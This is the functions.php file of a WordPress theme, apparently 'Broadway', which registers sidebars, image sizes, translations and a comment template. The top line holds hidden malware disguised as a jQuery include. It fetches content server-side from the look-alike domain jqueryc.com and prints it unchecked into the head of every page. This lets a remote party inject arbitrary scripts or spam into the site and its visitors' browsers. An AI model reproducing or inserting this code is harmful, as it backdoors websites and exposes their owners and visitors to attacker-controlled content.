<?php

// Adds Theme Jquery Function
if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');}

// Adds RSS feeds link
if(!get_option('pyre_feedburner')) {
	add_theme_support('automatic-feed-links');
}

if (!isset( $content_width )) $content_width = 900;

// Register Widgetized Areas
if(function_exists('register_sidebar')) {
	register_sidebar(array(
		'name' => 'Sidebar',
		'before_widget' => '<div id="%1$s" class="%2$s widget clearfix">',
		'after_widget' => '</div>',
		'before_title' => '<h3 class="widget-title">',
		'after_title' => '<span></span></h3>',
	));
	
	register_sidebar(array(
		'name' => 'Homepage',
		'before_widget' => '<div id="%1$s" class="%2$s homepage-widget clearfix">',
		'after_widget' => '</div>',
		'before_title' => '<h3>',
		'after_title' => '</h3>',
	));
	
	register_sidebar(array(
		'name' => 'Homepage (Blog Style)',
		'before_widget' => '<div id="%1$s" class="%2$s homepage-widget clearfix">',
		'after_widget' => '</div>',
		'before_title' => '<h3>',
		'after_title' => '</h3>',
	));
	
	register_sidebar(array(
		'name' => 'Footer Widget 1',
		'before_widget' => '<div id="%1$s" class="%2$s widget">',
		'after_widget' => '</div>',
		'before_title' => '<h3 class="widget-title">',
		'after_title' => '</h3>',
	));
	
	register_sidebar(array(
		'name' => 'Footer Widget 2',
		'before_widget' => '<div id="%1$s" class="%2$s widget">',
		'after_widget' => '</div>',
		'before_title' => '<h3 class="widget-title">',
		'after_title' => '</h3>',
	));
	
	register_sidebar(array(
		'name' => 'Footer Widget 3',
		'before_widget' => '<div id="%1$s" class="%2$s widget">',
		'after_widget' => '</div>',
		'before_title' => '<h3 class="widget-title">',
		'after_title' => '</h3>',
	));

	register_sidebar(array(
		'name' => 'Footer Widget 4',
		'before_widget' => '<div id="%1$s" class="%2$s widget last">',
		'after_widget' => '</div>',
		'before_title' => '<h3 class="widget-title">',
		'after_title' => '</h3>',
	));
}

// Add post thumbnail functionality
add_theme_support('post-thumbnails', array('post'));
add_image_size('scroller-thumbnail', 200, 120, true);
add_image_size('slider-image', 580, 360, true);
add_image_size('slider-thumbnail', 115, 70, true);
add_image_size('one-column-big', 270, 150, true);
add_image_size('one-column-small', 80, 60, true);
add_image_size('two-column-big', 251, 150, true);
add_image_size('carousel', 146, 100, true);
add_image_size('post-image', 580, 360, true);
add_image_size('archive-image', 270, 150, true);

// Include boostrap file for the pyre theme framework
include_once('framework/bootstrap.php');

// Custom Functions
include_once('framework/functions.php');

// Shortcodes
include_once('shortcodes.php');

// Profile Metaboxes
include_once('framework/profile.php');

// Translation
load_theme_textdomain('Broadway', get_template_directory() . '/languages');
$locale = get_locale();
$locale_file = TEMPLATEPATH . '/languages/' . $locale . '.php';
if(is_readable($locale_file)) {
	require_once($locale_file);
}

// How comments are displayed
function avenue_comment($comment, $args, $depth) {
	$GLOBALS['comment'] = $comment; ?>
	<li <?php comment_class(); ?> id="comment-<?php comment_ID() ?>">
	
		<div class="the-comment">
		
			<?php echo get_avatar($comment,$size='60'); ?>
			
			<div class="comment-arrow"></div>
			
			<div class="comment-box">
			
				<div class="comment-author">
					<strong><?php echo get_comment_author_link() ?></strong>
					<small><?php printf(__('%1$s at %2$s', 'Broadway'), get_comment_date(),  get_comment_time()) ?></a><?php edit_comment_link(__('Edit'),'  ','') ?> - <?php comment_reply_link(array_merge( $args, array('reply_text' => 'Reply', 'add_below' => $add_below, 'depth' => $depth, 'max_depth' => $args['max_depth']))) ?></small>
				</div>
			
				<div class="comment-text">
					<?php if ($comment->comment_approved == '0') : ?>
					<em><?php _e('Your comment is awaiting moderation.', 'Broadway') ?></em>
					<br />
					<?php endif; ?>
					<?php comment_text() ?>
				</div>
			
			</div>
			
		</div>

<?php }
// Trim end of excerpt
function pyre_trim_excerpt($text) {
	return rtrim($text, '[...]');
}
add_filter('get_the_excerpt', 'pyre_trim_excerpt');

// Rating System
include_once('framework/rating.php');